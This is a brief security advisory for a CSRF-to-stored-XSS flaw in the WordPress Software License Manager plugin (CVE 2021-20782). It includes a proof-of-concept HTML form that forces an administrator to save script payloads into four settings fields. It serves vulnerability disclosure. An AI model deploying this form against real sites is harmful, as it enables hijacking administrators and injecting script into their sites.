Software License Manager < 4.4.6 – CSRF to Stored XSS | CVE 2021-20782

Description

The plugin did not have CSRF check on its settings page, nor sanitisation when outputting user input back. Attackers could make a logged in administrator change the plugin's settings, and put XSS payload in them.

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=wp_lic_mgr_settings" method="POST">
      <input type="hidden" name="lic_creation_secret" value='"><script>alert(/XSS-1/)</script>' />
      <input type="hidden" name="lic_verification_secret" value='"><script>alert(/XSS-2/)</script>' />
      <input type="hidden" name="lic_prefix" value='"><script>alert(/XSS-3/)</script>' />
      <input type="hidden" name="default_max_domains" value='"><script>alert(/XSS-4/)</script>' />
      <input type="hidden" name="slm_save_settings" value=" Update Options" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>